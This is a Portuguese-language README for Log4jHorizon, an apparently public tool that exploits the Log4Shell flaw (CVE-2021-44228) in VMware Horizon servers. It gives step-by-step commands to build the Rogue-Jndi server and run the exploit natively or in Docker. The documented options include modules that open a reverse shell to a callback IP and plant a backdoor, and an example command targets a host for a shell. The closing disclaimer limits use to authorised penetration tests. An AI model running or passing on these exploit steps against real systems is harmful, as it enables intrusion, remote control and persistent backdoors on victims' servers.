
Explorando o CVE-2021-44228 no VMWare Horizon para execução remota de código e muito mais.
Explorando CVE-2021-44228 no VMWare Horizon para execução remota de código e muito mais.
O código e o README.md desta vez estão um pouco dispersos. Atualizações em breve!
As provas de conceito para esta vulnerabilidade estão dispersas e precisam ser executadas manualmente. Este repositório automatiza o processo de exploração. Consulte a postagem do blog acima para obter orientações sobre pós-exploração.
Este repositório pode ser usado manualmente ou com Docker.
Para baixar e executar a exploração manualmente, execute os seguintes passos. Primeiro, garanta que Java e Maven estejam instalados no seu host atacante. Para fazer isso usando apt em sistemas operacionais baseados em Debian, execute o seguinte comando:
apt update && apt install openjdk-11-jre maven
Clone o repositório do GitHub e instale todos os requisitos Python:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jHorizon \
&& cd Log4jHorizon && pip3 install -r requirements.txt
A partir da raiz do repositório Log4jHorizon, compile o projeto Rogue-Jndi usando o comando abaixo:
mvn package -f utils/rogue-jndi/
Primeiro, garanta que o Docker esteja instalado no seu host atacante. (Não vou te guiar passo a passo nisso)
Em seguida, execute o seguinte comando para clonar o repositório e construir a imagem Docker que usaremos.
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jHorizon \
&& cd Log4jHorizon && docker build -t Log4jHorizon .
Para executar o contêiner, execute um comando semelhante ao seguinte com suas flags de linha de comando anexadas. Observe que o contêiner não capturará um reverse shell. Você precisa criar um listener ncat em uma sessão de shell separada:
docker run -it -p 1389:1389 Log4jHorizon \
-r -t horizon.acme.com -i 192.168.1.1 -p 4444
usage: exploit.py [-h] -t URL -i CALLBACK [-p PORT] [-r] [-b]
optional arguments:
-h, --help show this help message and exit
-t URL, --target URL VMWare Horizon IP
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
-r, --revshell Module to establish reverse shell using node.exe.
-b, --backdoor Module to add backdoor.
Obtenha um reverse shell usando a ferramenta instalada no seu sistema local:
python3 exploit.py -r -t horizon.acme.com -p 442 -i 192.168.1.1
Esta ferramenta foi projetada para uso durante testes de penetração; o uso desta ferramenta para atacar alvos sem consentimento mútuo prévio é ilegal. É responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade e não são responsáveis por qualquer uso indevido deste programa.